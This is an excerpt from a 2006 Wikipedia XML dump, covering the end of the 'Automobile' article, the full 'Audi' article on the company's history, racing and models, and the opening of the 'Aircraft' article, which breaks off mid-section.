*''[[Unsafe at Any Speed]]'' by [[Ralph Nader]]
*[[Crash test dummy]]
*[[Car washing techniques]]
*[[List of automotive superlatives]], [[Lists of automobiles]] for a [[structured list]].
*[[List of automotive packages]] (cosmetic and functional features sold as a group)
*[[Road traffic accident]]
*[[hybrid cars]]
*[[Portal:Cars]]

==Major possible subsystems==
*[[engine]]
**[[carburetor]] or [[fuel injection]]
**[[fuel pump]]
**[[engine configuration]]: [[Wankel engine|Wankel]] or [[reciprocating engine|reciprocating]] ([[v engine|V]], [[inline engine|inline]], [[flat engine|flat]]).
**[[electronic control unit|engine management system]]s
**[[exhaust pipe|exhaust system]]
**[[ignition system]]
**[[Automobile self starter|self starter]]
**[[Automobile emissions control|emissions control]] devices
**[[turbocharger]]s and [[supercharger]]s
**[[front engine]]
**[[rear engine]]
**[[mid engine]]

*[[Automobile ancillary power|Ancillary power]] - mechanical, electrical, hydraulic, vacuum, air

*[[drivetrain]]
**[[transmission (automobile)|transmission]] ([[gearbox]])
***[[manual transmission]]
***[[semi-automatic transmission]]
***[[fully-automatic transmission]]
**Layout
***[[FF layout]]
***[[FR layout]]
***[[MR layout]]
***[[RR layout]]
**Drive Wheels
***[[2 wheel drive]]
***[[4 wheel drive]]
***[[Front wheel drive]]
***[[Rear wheel drive]]
***[[All wheel drive]]
**[[differential (mechanics)|differential]]
***[[limited slip differential]] 
***[[locking differential]]
**[[axle]]
**[[Live axle]]

*[[brake]]s
**[[disc brake]]s
**[[drum brake]]s
**[[anti-lock braking system]]s (ABS)

*[[wheel]]s and [[tire]]s
**[[custom wheel]]s

*[[steering]]
**[[rack and pinion]]
**[[Ackermann steering geometry]]
**[[Caster angle]]
**[[Camber angle]]
**[[Kingpin]]

*[[suspension (vehicle)|suspension]]
**[[MacPherson strut]]
**[[wishbone suspension|wishbone]]
**[[double wishbone]]
**[[multi-link suspension|multi-link]]
**[[torsion beam suspension|torsion beam]]
**[[semi-trailing arm suspension|semi-trailing arm]]
**[[axle]]

*body
**[[crumple zone]]s
**[[monocoque]] (or unibody) construction
**[[:Category:Car doors]]
**[[Spoiler (automotive)|spoiler]]
**[[Japan Black]] (fore-runner of modern automotive finishes)

*interior equipment
**[[passive safety]]
***[[seat belt]]s
***[[airbag]]s
***[[child safety lock]]s
**[[dashboard]]
**[[shifter]] for selecting gear ratios
**[[wikt:ancillary|ancillary]] equipment such as [[car audio|stereos]], [[air conditioning]], [[cruise control]], [[car phone]]s, [[Global Positioning System|positioning system]]s, cup holders, etc.

*exterior equipment
**windows
***[[Power window]]
***[[windshield]]
***[[Daytime running lamp]]s

==External links==
{{cleanup-spam}}

{{commons|Automobile}}
*[http://www.dmv.org/ Department of Motor Vehicles]
*[http://www.autoweek.com/ Autoweek.com]
*[http://www.detnews.com/autosinsider/index.htm Auto Insider]
*[http://www.edmunds.com/ Edmunds.com]
*[http://www.kbb.com/ Kelley Blue Book]
*[http://www.hwysafety.org/ Insurance Institute for Highway Safety]
*[http://nhtsa.gov/ NHTSA.gov]
*[http://www.naftc.wvu.edu/ Alternative Fuel Vehicle Training]
*[http://www.becomeacardealer.com/ How To Become a Car Dealer]
*[http://www.vda.de/de/service/jahresbericht/auto2005/pdf_charts/2_32.pdf/ Worldwide car production]
*[http://www.topgear.com/ Top Gear cool automobile show from the BBC UK]
*[http://www.automotoportal.com/ Automotive industry portal]
[[Category:Automobiles|*]]

{{Link FA|eo}}

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  </page>
  <page>
    <title>Audi</title>
    <id>848</id>
    <revision>
      <id>41903912</id>
      <timestamp>2006-03-02T14:29:36Z</timestamp>
      <contributor>
        <username>Mushin</username>
        <id>271938</id>
      </contributor>
      <minor />
      <comment>/* History */ rw</comment>
      <text xml:space="preserve">[[Image:Audi_logo.png|none|right|200px|Audi logo]]
'''Audi''' is an [[automobile]] maker in [[Germany]], and is a wholly-owned subsidiary of the [[Volkswagen Group]]. The company is headquartered in [[Ingolstadt]], [[Bavaria]], [[Germany]].

Audi's German [[tagline]] is &quot;[[Vorsprung durch Technik]]&quot;. The [[tagline]] is used either in original or in its English translation &quot;Progress through Technology&quot;.

==History==
[[Image:Audi NSU range (1969).jpg|thumb|right|250px|Press photograph of the then newly merged Audi NSU range, 1969.]]
===The origins of Audi===
The company traces its origins back to 1899 and [[August Horch]]. The first Horch automobile was produced in 1901 in [[Zwickau]], in former [[East Germany]]. In 1910, Horch was forced out of the company he had founded. He then started a new company in Zwickau and continued using the Horch brand. His former partners sued him for [[trademark]] infringement and a German court determined that the Horch brand belonged to his former company. August Horch was forced to refrain from using his own [[family name]] in his new car business. As the word &quot;horch!&quot; translates to &quot;listen!&quot; in [[German language|German]], August Horch settled on the [[Latin]] equivalent of his name - &quot;audi!&quot;. It is also popularly believed that Audi is an acronym which stands for &quot;Auto Union [[Germany|Deutschland]] [[Ingolstadt]]&quot;. Audi produces over 2 million vehicles annually at its main production site in [[Ingolstadt]]. Audi has another production plant in Neckarsulm.

Audi started with a 2612 [[Cubic centimetre|cc]] model followed by a four cylinder model with 3564 cc, as well as 4680 cc and 5720 cc models. These cars were successful even in sporting events. August Horch left the Audi company in 1920. The first six cylinder model (4655 cc) appeared in 1924. In 1928, the company was acquired by [[J S Rasmussen]], owner of [[DKW]], who bought the same year the remains of the US [[automobile manufacturer]], [[Rickenbacker]] including the manufacturing equipment for eight cylinder engines. These engines were used in ''Audi Zwickau'' and ''Audi Dresden'' models that were launched in 1929. At the same time, six cylinder and a small four cylinder (licensed from [[Peugeot]]) models were manufactured. Audi cars of that era were luxurious cars equipped with special bodywork.

===The Auto Union era===
In 1932 Audi merged with [[Horch]], [[DKW]] and [[Wanderer (car)|Wanderer]] to form the [[Auto Union]].
Before [[World War II]], Auto Union used the four interlinked rings that make up the Audi badge today, representing these four brands. This badge was used, however, only on Auto Union racing cars in that period while the member companies used their own names and emblems. The technological development became more and more concentrated and some Audi models were propelled by Horch or Wanderer built engines.

===Pause and a new start===
Auto Union plants were heavily bombed and partly destroyed during [[World War II]]. After the war, Zwickau soon became part of the [[German Democratic Republic]] and Audi headquarters were moved to [[Ingolstadt]]. In that period, the four interlinked rings were used together with the DKW badge. The company focused efforts on the DKW brand, but their [[two-stroke]] engines became unpopular. In 1958, [[Daimler-Benz]] acquired 88 per cent of Auto Union and the next year became its sole owner. Daimler-Benz developed a 72 hp (54 kW) four-door sedan, with a modern [[four stroke engine]] driving the front wheels. This model appeared in September 1965, &quot;relaunching&quot; the Audi brand. Daimler-Benz sold the company to [[Volkswagen]] in 1964; subsequently, Volkswagen's purchase of Auto Union has led to the modernization of VW to which it gained expertise in manufacturing water-cooled vehicles.  Today, aircooled powerplants once produced by VW are no longer placed into production vehicles since December 23, 2005.  
[[image:Audi_60.jpg|thumb|right|250px|Audi 60 (1968 - 1972)]]
In 1969, Audi merged with [[NSU Motorenwerke AG|NSU]], based in [[Neckarsulm]] near [[Stuttgart]]. In the [[1950s]] NSU had been the world's largest manufacturer of [[motorcycle]]s but had moved on to produce small cars like the [[NSU Prinz]] (the TT and TTS versions are still popular as vintage race cars). NSU then focused on new rotary engines according to the ideas of [[Felix Wankel]]. In 1967, the new [[NSU Ro 80]] was a space-age car well ahead of its time in technical details such as aerodynamics, light weight, safety, et cetera, but teething problems with the rotary engines put an end to the independence of NSU. Presently several lines of Audi cars are produced in Neckarsulm.

The mid-sized car that NSU had been working on, the K70, was intended to slot between the rear-engined Prinz models and the futuristic Ro 80. However, Volkswagen took the K70 for its own range, spelling the end of NSU as a separate brand.

===The modern era of Audi===
[[image:audi.quatro.arp.750pix.jpg|thumb|right|250px|Audi Quattro]]
[[Image:Audi.tt.arp.750pix.jpg|thumb|right|250px|Audi TT]]

The first Audi of the modern era was the [[Audi 100]] of 1968. This was soon joined by the [[Audi 80|Audi 80/Fox]] (which formed the basis for the 1973 [[Volkswagen Passat]]) in 1972.

The Audi image at this time was a conservative one, and so, a proposal from chassis engineer [[Jorg Bensinger]] was accepted to develop the [[four-wheel drive]] technology in [[Volkswagen]]'s [[Iltis]] military vehicle for an Audi performance car and [[Rallying|rally]] racing car. The performance car was named the &quot;[[Quattro]],&quot; a turbocharged coupé which was also the first production vehicle to feature full-time all-wheel drive through a center [[differential]].  Commonly referred to as the &quot;Ur-Quattro&quot; (the &quot;[[Ur-]]&quot; prefix is a German [[augmentative]] used, in this case, to mean &quot;original&quot; and is also applied to the first generation of Audi's S4 and S6 sport sedans, as in &quot;UrS4&quot; and &quot;UrS6&quot;), few of these vehicles were produced (all hand-built by a single team) but the model was a great success in rallying. Prominent wins proved the viability of all-wheel drive racecars, and the Audi name became associated with advances in automotive technology,  

In 1986, as the Passat-based Audi 80 was beginning to develop a kind of &quot;grandfather's car&quot; image, the type 89 was introduced. This completely new development sold extremely well. However, its modern and dynamic exterior belied the low performance of its base engine, and its base package was quite spartan (even the passenger-side mirror was an option.) In 1987, Audi put forward a new and very elegant [[Audi 90]], which had a much superior set of standard features. In the early nineties, sales began to slump for the Audi 80 series, and some basic construction problems started to surface.

This decline in sales was not helped in the [[United States|USA]] by a ''[[60 Minutes]]'' report which purported to show that Audi automobiles suffered from &quot;unintended acceleration&quot;. The ''60 Minutes'' report was based on customer reports of acceleration when the brake pedal was pushed. Independent investigators concluded that this was most likely due to a close placement of the accelerator and brake pedals (unlike American cars), and the inability, when not paying attention, to distinguish between the two. (In race cars, when manually downshifting under heavy braking, the accelerator has to be used in order to match revs properly, so both pedals have to be close to each other to be operated by the right foot at once, toes on the brake, heels on the gas. US citizens are used to automatic gearboxes and only two well separated pedals). This was never an issue in Europe, as Europeans in general use manual transmission gears, and have a &quot;feeling&quot; for vehicle revs in comparison to the speed of the car.

''60 Minutes'' ignored this fact and rigged a car to perform in an uncontrolled manner. The report immediately crushed Audi sales, and Audi renamed the affected model (The 5000 became the 100/200 in 1989, as in Germany and elsewhere). Audi had contemplated withdrawing from the American market until sales began to recover in the mid-1990s. The turning point for Audi was the sale of the new A4 in 1996, and with the release of the A4/6/8 series, which was developed together with VW and other sister brands (so called &quot;platforms&quot;).

Currently, Audi's sales are growing strongly in Europe, and the company is renowned for having the best build quality of any mainstream auto manufacturer. 2004 marked the 11th straight increase in sales, selling 779,441 vehicles worldwide. Record figures were recorded from 21 out of about 50 major sales markets. The largest sales increases came from Eastern Europe (+19.3%), Africa (+17.2%) and the Middle East (+58.5%). In March of 2005, Audi is building its first two dealerships in India following its high increase in sales in that region. Though its brand still doesn't have the global cachet of [[Mercedes-Benz]] or [[BMW]], Audi's reputation for quality and understated style has once again made it a highly desirable marque.

However, after 2003, with the release of the new A4, and in 2004 with the new A6, Audi's dedication to quality had finally paid off when it started to receive news reports and various vehicle critics praising Audis over [[Mercedes-Benz]] and [[BMW]].

==Auto racing==
Audi has competed in (and sometimes dominated) numerous forms of [[auto racing]]. Audi's rich tradition in motorsport began with the [[Auto Union]] in the 1930s. In the 1990s Audi dominated the Touring and Super Touring categories of motor racing after success in circuit racing Stateside. 

===Rallying===
In 1980 Audi released the [[Audi Quattro|Quattro]], an [[all wheel drive]] turbocharged car that went on to win [[rally racing|rallies]] and races worldwide. It is considered one of the most significant rally cars of all time because it was one of the first to take advantage of the then-recently changed rules which allowed the use of all-wheel-drive in competition racing. Many critics doubted the viability of all-wheel-drive racers, thinking them to be too heavy and complex, yet the Quattro was an instant success, winning its first rally on its first outing. It won competition after competition for the next two years.

In 1984 Audi launched the &quot;[[Quattro|Sport Quattro]]&quot; car which dominated races in [[Monte Carlo]] and [[Sweden]] with Audi taking all podium finishes but succumbed to problems further into [[WRC|World Rally Championship]] contention. After another season mired in mediocre finishes, Walter Röhrl finished the season in his Sport Quattro S1 and helped place Audi second in the manufacturer's points. Audi also received rally honors in the [[Hong Kong]] to [[Beijing]] rally in that same year. Michèle Mouton, the first female WRC driver to win a championship and a driver for Audi, took the Sport Quattro S1, now simply called the S1 and raced in the [[Pikes Peak|Pikes Peak Hill Climb]]. The climb race pits a driver and car to drive up a 4,302 meter high mountain in [[Colorado]] and in 1985, Michèle Mouton set a new record of 11:25.39 and being the first woman to set a Pikes Peak record. In 1986, Audi formally left international rally racing following an accident in Portugal involving driver Joaquim Santos in his RS200. Santos swerved to avoid hitting spectators in the road, and left the track into the crowd of spectators on the side, killing three and injuring 30. [[Bobby Unser]] used an Audi in that same year to claim a new record for the Pikes Peak Hill Climb at 11:09.22.

===Motorsports in the USA===
In 1987, Walter Röhrl claimed the title for Audi setting a new record of 10:47.85 in his Audi S1 he retired from the WRC in 2 years earlier. The Audi S1 employed Audi's time-tested 5-cylinder turbo charged engine and generated over 600 hp (447 kW). The engine was mated to a 6-speed gearbox and ran on Audi's famous all-wheel drive system. All of Audi's top drivers drove this beast, Hannu Mikkola, Stig Blomqvist, Walter Röhrl and the female driver, Michèle Mouton. The Audi S1 enjoys a 0-60 mph (0-100 km/h) time of 2.3 s. This Audi S1 started the S-series of cars for Audi which now represents an increased level of sports options and quality to the Audi line up.

As Audi moved away from rallying and into circuit racing, they chose first into America with the [[Trans-Am Series|Trans-Am]] in 1988, 

In 1989, Audi moved to [[International Motor Sports Association|IMSA GTO]] with the [[Audi 90|90]], however as they avoided the two major endurance events (Daytona and Sebring) despite winning on a regular basis, they would lose out on the title. 
===Touring cars===
In 1990, having completed their objective to market cars in the United States, Audi returned to Europe turning first to the [[Deutsche Tourenwagen Meisterschaft|DTM]] series with the [[Audi V8]], then in 1993, being unwilling to build cars for the new formula, they turned their attention to the fast growing [[Supertouring]] series, which took place nationally, first in the [[French Supertourisme]] and [[Italian Superturismo]]. In the following year, Audi would switched to the German [[Super Tourenwagen]] (known as STW) and then to [[BTCC]] (British Touring Car Championship) the year after that.

The [[FIA]], having difficulty regulating the Quattro system and what impact it had on the competitors, would eventually ban all four wheel drive cars from competiting in 1998, by then Audi switched all their works efforts to sportscar racing.

By 2000, Audi would still compete in the US with their [[Audi RS4|RS4]] for the [[SPEED World Challenge|SCCA Speed World GT Challenge]], through dealer/team [[Champion Racing]] competing against Corvettes, Vipers, and smaller BMWs (where it is one of the few series to permit 4WD cars). In 2003, Champion Racing entered an [[Audi RS6|RS6]]. Once again, the quattro was superior and Champion Audi won the championship. They returned in 2004 to defend their title but a newcomer, Cadillac, gave them a run for their money.  After four victories in a row, the Audis were sanctioned with several negative changes that deeply affected the car's performance.

In 2004, after years of competiting with the TT-R in the revitalised DTM series, with privateer team [[Abt|Abt Racing]] taking the 2002 title with [[Laurent Aiello]], Audi returned as a full factory effort to touring car racing by entering two factory supported [[Joest Racing]] [[Audi A4|A4s]].

===Sports car racing===
Beginning in 1999, Audi built the [[Audi R8 Race Car|Audi R8]] to compete in [[sports car racing]], including the [[Le Mans Prototype|LMP900]] class at the [[24 hours of Le Mans]]. The factory supported Joest Racing team won at Le Mans three times in a row (2000 - 2002), as well as winning every race in the [[American Le Mans]] Series in its first year. Audi also sold the car to customer teams such as [[Champion Racing]]. In 2003, two [[Bentley]] [[Bentley Speed 8|Speed 8]]s, with engines designed by Audi and driven by Joest drivers ''loaned'' to the fellow VW company, competed in the GTP class and finished the race in the top two positions, while the Champion Racing R8 finished third overall and first in the LMP900 class. Audi returned to the winner's circle at the 2004 race, with the top three finishers all driving R8s: Audi Sport Japan Team Goh finished first, Audi Sport UK Veloqx second, and Champion Racing third.

At the 2005 24 Hours of Le Mans, Champion Racing entered two R8s along with an R8 from the Audi PlayStation Team [[Oreca]].  The R8s (which were built to old LMP900 regulations) received a more narrow air inlet restrictor, cutting power, and an additional 50 kg of weight compared to the newer LMP1 chassis.  On average, the R8s were about 2-3 seconds off pace compared to the [[Pescarolo]]-[[Judd]].  But with a team of excellent drivers and experience, both Champion R8s were able to take first and third while the ORECA team took fourth. The Champion team was also the first American team to win Le Mans since the Gulf Ford GT's in 1967.  This also ends the long era of the R8, however its replacement for 2006, called the [[Audi R10]], was unveiled on December 13, 2005. the R10 employs many new features, including a twin-turbocharged diesel engine. Its first race will likely be the 2006 12 Hours of Sebring as a race-test for the 2006 24 Hours of Le Mans.

==Technology==
Audi is the only car manufacturer that produces 100% [[galvanize]]d vehicles to prevent corrosion. Along with other precautionary measures, the thus achieved full-body [[zinc]] coating has proved to be very effective in preventing rust and [[corrosion perforation]]. The body's resulting durability even surpassed Audi's own expectations, causing the manufacturer to extend its original 10-year [[warranty]] against corrosion perforation to currently 12 years. An all-[[aluminium]] car was brought forward by Audi, and in 1994 the Audi A8 was launched, which introduced aluminium [[space frame]] technology. Audi introduced a new series of vehicles in the mid-nineties and continues to pursue leading-edge technology and high performance.

The all-aluminium concept was extended to the company's new [[sub-compact]], the [[Audi A2]] which was launched in 2001.

In the 1970's, some vehicle manufacturers including Audi (and [[Subaru]]) designed their own [[all wheel drive]] systems in passenger vehicles. In the 1980's, all-wheel drive systems in cars became a fad, and other manufacturers like [[Porsche]] and [[Mercedes-Benz]] offered all-wheel drive systems in their cars to compete in the marketplace. Unfortunately, the all-wheel drive system in the Mercedes-Benz vehicles were riddled with problems right from the design sheet. The system also was not popular in Porsche vehicles because owners wanted the traditional performance of the [[rear wheel drive]] they got used to in older Porsches. Although Porsche and Mercedes-Benz offer all-wheel drive systems in some cars today, neither manufacturer was able to ride the fad and come out on top like Audi has. Today, after many decades of class-leading technology and engineering, the name ''[[quattro]]'' is an identifiable symbol and trademark that shows would-be competitors the level of quality they have to achieve in order to attempt to compete with Audi.

In the 1980s, Audi was the champion of the inline 5 cylinder, [[Engine displacement|2.1/2.2 L]] engine as a longer lasting alternative to more traditional 6 cylinder engines. This engine was used in not only production cars but also their race cars. The 2.1 L inline 5 cylinder engine was used as a base for the rally cars in the 1980's, providing well over 400 [[horsepower]] (298 kW) after modification. Before 1990, there were engines produced with a displacement between 2.0 L and 2.3 L. This range of engine capacity was a good combination of good fuel economy which was on the mind of every motorist in the 1980's, and a good amount of power the customer wants.
Through the early 1990's, Audi began to move more towards the position of being a real competitor in it's target market against Mercedes-Benz and BMW. This began with the release of the Audi V8 in 1990. It was essentially a new engine fitted to the Audi 100/200, but with noticeable bodywork differences. Most obvious was the new grille that was now incorprated in the bonnet. 

By 1991, Audi had the 4 cylinder [[Audi 80|Audi 80]], the 5 cylinder [[Audi 80|Audi 90]] and [[Audi 100|Audi 100]], the turbocharged [[Audi 100|Audi 200]] and the [[Audi V8|Audi V8]]. There was also a coupe version of the 80/90 with both 4 and 5 cylinder engines.

Although the five cylinder engine was a successful and very robust powerplant, it was still a little too different for the target market. With the introduction of an all-new Audi 100 in 1992, Audi introduced a 2.8l V6 engine. This engine was also fitted to a face-lifted Audi 80 (all 80 and 90 models were now badged 80 except for the USA), giving this model a choice of 4, 5 and 6 cylinder engines, in sedan, coupe and cabriolet body styles.

The 5 cylinder was soon dropped as a major engine choice, however a turbocharged 230BHP (169kW) version remained. The engine, initially fitted to the 200 quattro 20V of 1991, was a derivative of the engine fitted to the Sport Quattro. It was fitted to the Audi Coupe and named the S2 and also to the Audi 100 body, and named the [[Audi S4|S4]]. These two models were the beginning of the mass produced S series of performance cars.

The [[Audi A8|Audi A8]] replaced the [[Audi V8|V8]] in 1994, with a revolutionary Aluminium Space Frame (ASF) to save weight. The weight reduction was offset by the quattro all-wheel drive system, however it meant the car had similar performance to its rivals, but far superior handling.

The next major model change was in 1995 when the [[Audi A4|Audi A4]] replaced the [[Audi 80|Audi 80]]. The new nomenclature scheme was applied to the Audi 100 to become the Audi A6 (with a minor facelift). This also meant the S4 became the [[Audi S6|S6]] and a new S4 was introduced in the A4 body. The S2 was discontinued. The [[Audi Cabriolet]] continued on (based on the Audi 80 platform) until 1999, gaining the engine upgrades along the way. A new [[Audi A3|A3]] (based on the [[VW Golf|Volkswagen Golf]]) was introduced to the range in 1997, and the radical [[Audi TT|TT]] coupe and roadster were debuted in 1998 based on the same underpinnings. Another interesting model introduced was the [[Mercedes Benz|Mercedes-Benz]] A-Class competitor, the [[Audi A2|Audi A2]]. The model sold relatively well in Europe, however Audi decided not to develop a new model and it has since been discontinued as of 2004.

The engines available throughout the range were now a 1.4 L, 1.6 L and 1.8 L 4 cylinder, 1.8 turbo, 2.6 L and 2.8 L V6, 2.2 L turbo-charged 5 cylinder and the 4.2 L V8. The V6's were replaced by new 2.4 and 2.8 L 30V V6's in 1998, with marked improvement in power, torque and smoothness. Further engines were added along the way, including a 3.7 L V8 and 6.0 L W12 for the A8.

At the turn of the century, Audi introduced the [[direct shift gearbox]] (DSG), a manual transmission driveable like an automatic transmission. The system includes dual electrohydraulically controlled clutches instead of a [[torque converter]]. This is implemented in some [[Volkswagen Golf]], [[Audi A3]] and [[Audi TT|TT]] models. The engine range was continually upgraded, with a 2.7 L twin turbo V6 being offered in the Audi S4, A6 and allroad, the 2.8 L V6 was replaced by a 3.0 L unit.

New models of the A3, A4, A6 and A8 have been introduced, with the 1.8 L engine now 2.0 L and the 3.0 L V6 is now 3.1 L in size. Audi has now introduced [[FSI|FSI]] on some of their engines, including the 1.6 L 4 cylinder, a new 2.0 L (Audi was the first manufacturer in the world to utilize a turbo charger and FSI on the same powerplant), and the 3.1 L V6. This is a direct fuel-injection technique that Audi had also used on its diesel engines since the early 1980s.

As a premium member of the VW Group, technologies are frequently first introduced to the mass market with Audi vehicles before being 'trickled down' to more value oriented brands such as VW, [[SEAT]] and [[Škoda Auto|Škoda]]. Recent examples of this include DSG and FSI.

Audi now has an impressive range of cars, engines and transmissions available, which continue to lead the way and introduce new technologies into the market.

==Models==
===Production cars===
* [[Audi A2|A2]]
* [[Audi A3|A3]]
** [[Audi S3|S3]]
* [[Audi A4|A4]]
** [[Audi S4|S4]]
** [[Audi RS4|RS4]]
* [[Audi A6|A6]]
** [[Audi S6|S6]]
** [[Audi RS6|RS6]]
* [[Audi Q7|Q7]]
* [[Audi A8|A8]]
** [[S8]]
* [[Audi TT|TT]]

===Historical models===
* [[Audi 50]]
* [[Audi 80|Audi 80/90/4000]]
* [[Audi 100|Audi 100/200/5000]]
* [[Audi Quattro]]
* [[Audi V8]]
* [[Audi UrS4/S6]]
* model

===Future models===
''The following is a list of models Audi ostensibly plans to offer in the future.''

* [[Audi A5|A5]]
* [[Audi RS4|RS4]]
* [[Audi Q5|Q5]]
* [[Audi R8 Road Car (2006-).|R8]]

===Concepts===
''The following is a partial list of [[concept car]]s.''

* [[Audi RSQ]] designed exclusively for the 2004 film [[I, Robot (movie)|I, Robot]].
* [[Audi Allroad Quattro Concept]]
* [[Audi Shooting Brake]], design study for the next generation TT
* [[Audi Avus Quattro]]
* [[Audi Quattro Spyder]]
* [[Audi Avantissimo]]
* [[Audi Pikes Peak]]
* [[Audi Nuvolari Quattro]]
* [[Audi Le Mans Quattro]]
* [[Audi Roadjet]]

==See also==
{{commons|Audi}}
* [[Audi Centre of Excellence]]
* [[Audi Driving Experience]]
* [[Austin Audi Club]]

==External links==
* [http://www.audi.com Official website]
* [http://www.audiworld.com AudiWorld.com Enthusiast Website]
* [http://www.fourtitude.com Fourtitude.com Enthuiast Forum]
* [http://www.audiclubna.org Audi Club North America - The Official Audi Owners Club for North America.]
* [http://www.joestracing.de Joest Racing]
* [http://audi100.selbst-doku.de/Main/EnglishHomepage Audi100.Selbst-Doku.De - most complete english/german Audi 100, 5000, A6 info site]
* [http://www.audiforums.com Audi Forums] Enthusiast forums, recalls, TSBs, photo galleries, and general tech help.
* [http://www.audi-forums.com Audi Forum]
* [http://www.automotoportal.com/ Automotive industry portal with Audi news]

{{Audi}}

[[Category:Audi|Audi]]
[[Category:Bavaria]]
[[Category:German automobile manufacturers]]
[[Category:Luxury car manufacturers]]
[[Category:Saxony]]
[[Category:Volkswagen]]

[[bg:Ауди]]
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    </revision>
  </page>
  <page>
    <title>Aircraft</title>
    <id>849</id>
    <revision>
      <id>42156837</id>
      <timestamp>2006-03-04T04:52:45Z</timestamp>
      <contributor>
        <username>Rogerd</username>
        <id>205136</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.57.130.124|24.57.130.124]] ([[User talk:24.57.130.124|talk]]) to last version by Blimpguy</comment>
      <text xml:space="preserve">[[image:jal.747.newcolours.arp.750pix.jpg|thumb|right|350px|A [[Japan Airlines]] [[Boeing]] [[Boeing 747-400|747-400]]. This is a wide-bodied long-haul '''aircraft''']]
An '''aircraft''' is any [[machine]] capable of [[Earth's atmosphere|atmospheric]] [[flight]].

&lt;!--English word &quot;aircraft&quot; is singuar and plural with no &quot;s&quot;. See also the link to Wiktionary below.--&gt;
==Categories and classification==
Aircraft fall into two broad categories: 

===Heavier than air===
Heavier than air [[aerodyne]]s, including  [[autogyro]]s, [[helicopter]]s and variants, and conventional [[fixed-wing aircraft]] (airplanes or aeroplanes). Fixed-wing aircraft generally use an [[internal-combustion engine]] in the form of a [[piston engine]] (with a [[propeller]]) or a [[Turbine|turbine engine]] ([[Jet engine|jet]] or [[turboprop]]), to provide [[thrust]] that moves the craft forward through the air. The movement of air over the airfoil produces [[lift (force)|lift]] that causes the  aircraft to fly. Exceptions are [[glider]]s which have no engines and gain their thrust, initially, from [[winch]]es or tugs and then from gravity and thermal currents. For a glider to maintain its forward speed it must descend in relation to the air (but not necessarily in relation to the ground). Helicopters and autogyros use a spinning rotor (a ''rotary wing'') to provide lift; helicopters also use the rotor to provide thrust. The abbreviation [[VTOL]] is applied to aircraft other than helicopters that can take off or land vertically. [[STOL]] stands for Short Take Off and Landing.

===Lighter than air===
[[image:yellow.balloon.takesoff.in.bath.arp.jpg|thumb|right|200px|A hot air balloon takes off from Royal Victoria Park, Bath, England]]

[[Lighter than air]] [[aerostat]]s: [[hot air balloon]]s and [[airship]]s. Aerostats use [[buoyancy]] to float in the air in much the same manner as ships float on the water.  In particular, these aircraft use a relatively low density gas such as [[helium]], [[hydrogen]] or heated air, to displace the air around the craft. The distinction between a balloon and an airship is that an airship has some means of controlling both its forward motion and steering itself, while balloons are carried along with the wind.

===Types of aircraft===
:''See also: [[List of aircraft]]''

There are several ways to classify aircraft. Below, we describe classifications by design, propulsion and usage.

====By design====
[[image:Size-comparison.jpg|thumb|right|350px|A size Comparation of some of the largest airplanes in the world. The Airbus A380-800, the Boeing 747-400 (largest airliner to date) The Antonov An-225 (aircraft with the greatest payload) and the Hughes H-4 &quot;Spruce Goose&quot; (largest airplane in the world) designed by the famous [[Howard Hughes]] ]]
A first division by design among aircraft is between lighter-than-air, '''aerostat''', and heavier-than-air aircraft, '''aerodyne'''.

Examples of lighter-than-air aircraft include non-steerable [[balloon]]s, such as [[hot air balloon]]s and [[gas balloon]]s, and steerable [[airship]]s (sometimes called dirigible balloons) such as [[blimp]]s (that have non-rigid construction) and [[rigid airship|rigid airships]] that have an internal frame. The most successful type of rigid airship was the [[Zeppelin]].  Several accidents,  such as the [[Hindenburg disaster|Hindenburg]] fire at [[Lakehurst]], NJ, in [[1937]] led to the demise of large rigid airships.

In heavier-than-air aircraft, there are two ways to produce lift: aerodynamic lift and engine lift. In the case of aerodynamic lift, the aircraft is kept in the air by wings or rotors (see [[aerodynamics]]). With engine lift, the aircraft defeats gravity by use of [[vertical]] 
Examples of engine lift aircraft are [[rocket]]s, and [[VTOL]] aircraft such as the [[Hawker-Siddeley Harrier]].

Among aerodynamically lifted aircraft, most fall in the category of [[fixed-wing aircraft]], where horizontal airfoils produce [[lift (force)|lift]], by profiting from airflow patterns determined by [[Bernoulli's equation]] and, to some extent, the [[Coanda effect]].

The forerunner of these type of aircraft is the [[Kite flying|kite]]. Kites depend upon the tension between the cord which anchors it to the ground and the force of the [[wind]] currents.  Much aerodynamic work was done with kites until test aircraft, wind tunnels and now computer modelling programs became available.  

In a &quot;conventional&quot; configuration, the lift surfaces are placed in front of a control surface or [[tailplane]]. The other configuration is the [[canard]] where small horizontal control surfaces are placed forward of the wings, near the nose of the aircraft. Canards are becoming more common as [[supersonic]] [[aerodynamic]]s grows more mature and because the forward surface contributes lift during straight-and-level flight.

The number of lift surfaces varied in the pre-[[1950]] period, as [[biplane]]s (two wings) and [[triplane]]s (three wings) were numerous in the early days of aviation. Subsequently most aircraft are [[monoplane]]s. This is principally an improvement in [[structure]]s and not aerodynamics.

Other possibilities include the [[delta-wing]], where lift and horizontal control surfaces are often combined, and the [[flying wing]], where there is no separate vertical control surface (e.g. the [[B-2 Spirit]]).

A variable geometry ('swing-wing') has also been employed in a few examples of combat aircraft (the [[General Dynamics F-111|F-111]], [[Panavia Tornado]], [[F-14 Tomcat]] and [[B-1 Lancer]], among others).

The [[lifting body]] configuration is where the body itself produce lift. So far the only significant practical application of the lifting body is in the [[Space Shuttle]], but many aircraft generate lift from nothing other than wings alone.

A second category of aerodynamically lifted aircraft are the [[rotary-wing aircraft]]. Here, the lift is provided by rotating [[aerofoil]]s or [[rotor]]s. The best-known examples are the [[helicopter]], the [[autogyro]] and the [[tiltrotor]] aircraft (such as the [[V-22 Osprey]]). Some craft have reaction-powered rotors with gas jets at the tips but most have one or more lift rotors powered from engine-driven shafts.

A further category might encompass the [[ground effect|wing-in-ground-effect]] types, for example the Russian [[ekranoplan]] also nicknamed the &quot;Caspian Sea Monster&quot; and [[hovercraft]]; most of the latter employing a skirt and achieving limited ground or water clearance to reduce friction and achieve speeds above those achieved by [[boat]]s of similar weight.

A recent innovation is a completely new class of aircraft, the [[fan wing]]. This uses a fixed wing with a forced airflow produced by cylindrical fans mounted above. It is (2005) in development in the [[United Kingdom]].

And finally the flapping-wing [[ornithopter]] is a category of its own. These designs may have potential but are not yet practical.

====By propulsion====
[[Image:WestCoastAirFloatplane.jpg|thumb|right|250px|A [[turboprop]]-engined [[De Havilland Canada DHC-6 Twin Otter|DeHavilland Twin Otter]] adapted as a [[floatplane]].]]
